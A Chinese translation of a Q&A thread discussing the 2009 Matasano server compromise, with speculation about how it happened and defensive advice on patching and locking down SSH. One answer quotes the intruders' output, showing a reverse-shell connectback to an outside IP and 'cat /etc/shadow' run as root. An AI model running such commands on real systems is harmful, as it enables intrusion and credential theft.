马塔萨诺是如何遭到黑客攻击的?

马塔萨诺是如何遭到黑客攻击的?

从:http://seclists.org/fulldisclosure/2009/Jul/0388.html

如果我可以从以下帖子中更好地理解这一点:http://news.ycombinator.com/item?id=723798Matasano 伙计们让 sshd 可以访问互联网 - 对此有什么建议的解决方案吗(从编程的角度来看)?

答案1

马塔萨诺是如何遭到黑客攻击的?

从 Full Disclosure 帖子中的信息来看,这个问题是无法回答的。不过,猜测总是很有趣的,因为他们确实透露了一些信息 -

#./th3_f1n4l_s0lut10n www.matasano.com
[-] 连接到 69.61.87.163:22..
[/] 正在寻找有效的非 root 用户.. adam
******** R3D4CT3D h4h4h4h4 ********

他们在 Matasano 的服务器上运行二进制文件“ th3_f1n41_s01ut10n”,该服务器连接到 ssh 端口。它通过某种未知方式找到了有效的非 root 用户,其余输出被删除。

# ./th3_f1n4l_s0lut10n -u adam -t 3 www.matasano.com
[*] 209.112.118.10:3338 上的 Connectback 监听器。
[!] SSH2_MSG_SERVICE_ACCEPT [OpenSSH_4.5p1,OpenSSL 0.9.8g 2007 年 10 月 19 日]

使用找到的用户名再次运行二进制文件,登录并连接回端口 3338 上的服务器(希望该端口没有以他们的名义注册......)。

adam_at_www:~$ uname -a
Linux www 2.6.20.1-1-686 #1 SMP 星期日 3 月 4 日 12:44:55 UTC 2007 i686 GNU/Linux
**** h4h4h4hh4h4h4 l3tz us3 m0r3 !0D4Y! H4H4H4H4H4H4H4H4 ****

他们可能暗示他们有一个针对这个内核的 0day 漏洞,考虑到这家公司的惯用伎俩,这个漏洞已经相当老了。

adam_at_www:~$ cd /tmp
*********** B0R1NG ***********
root_at_www:~# cat /etc/shadow

哎呀——突然间用户就变成了 root 用户。他们在 /tmp 中发现了一个本地特权提升漏洞,这可能是他们提到的 0day。

所以这里至少存在两个漏洞 - OpenSSH 漏洞可获取系统上的有效非 root 用户,并以该用户身份登录,然后进行本地权限提升。

考虑到 OpenSSH 自 4.5 版以来存在一些已知的安全问题:

OpenSSH 的安全页面

  • OpenSSH 5.2 之前的版本容易受到 CPNI-957037“针对 SSH 的明文恢复攻击”中所述的协议弱点的攻击。但是,根据有限的可用信息,似乎在大多数情况下这种描述的攻击是不可行的。有关更多信息,请参阅 cbc.adv 公告和 OpenSSH 5.2 发行说明。
  • OpenSSH 4.9 及更新版本不会执行~/.ssh/rc已使用 sshd_config(5) ForceCommand 指令覆盖命令的会话。这是一种有记录但不安全的行为(在 OpenSSH 4.9 发行说明中描述)。
  • 正如 OpenSSH 4.7 发行说明中所述,当不受信任的 cookie 生成失败(例如由于故意耗尽资源)时,OpenSSH 4.7 及更新版本不会回退到创建受信任的 X11 身份验证 cookie。

我想,他们使用这个较旧的 Linux 内核和较旧的 SSH 守护程序就够了。此外,它还运行在他们的 www 服务器中,该服务器可访问互联网,在我看来,这是相当自信的做法。入侵者显然想让他们难堪。

如何预防这些攻击?

这种情况本可以通过主动管理来预防——确保所有面向互联网的服务都得到修补,并限制可以连接的人数,而不是允许人们从任何地方连接。这次事件进一步证明了安全系统管理很难,需要企业投入精力为 IT 部门提供时间来修补问题——事实上,至少在较小的公司中,这并不容易做到。

最好使用双重保护的方法 - 使用公钥身份验证、ssh 守护进程上的白名单、双因素身份验证、IP 限制和/或将所有内容置于 VPN 后面都是可能的锁定途径。

我想我知道明天上班要做什么。:)

答案2

人们喜欢就此制造恐慌,但他们似乎知道用户 adam 已经在那里,并且也知道他的密码(可能是通过暴力破解或其他方法)。然而,他们想让自己看起来很酷,并制造了这种骚动。

另一件值得注意的事是用户 adam 已经一年多没有登录该邮箱了:

(lastlog 的输出)

 adam             pts/1    ool-4350ab48.dyn Sat Jul 26 20:45:18 -0400 2008

所以他可能保留了该密码(可能是错误的密码)一段时间。

*如果他们真的有一个通过 SSH 发现用户名的工具,他们就可以使用所有其他用户来获得远程访问权限,但他们在那个框中使用了最常见的用户名(很容易猜到)。

答案3

为什么要从编程的角度尝试解决这个问题?

您应该从智能服务器管理员的角度来解决这个问题。您发布的链接的评论中有一些很好的建议,例如使用白名单。

我还想补充一点,因为你在这里提问,所以你很可能不是安全专家,你所能想到的任何东西都只会增加更多的漏洞。这实际上根本不是一个编程问题。

答案4

令我震惊的是,他们竟然有如此多的用户在那台机器上使用 shell。这肯定是他们被控制的原因,其他一切都是为了分散注意力而制造的烟幕弹。其中一个人很可能在其他 shell 机器上安装了他们的 ssh 客户端后门,然后游戏就结束了。为每个人提供 shell 帐户并让 sshd 世界可访问只是懒惰和愚蠢的行为。

相关内容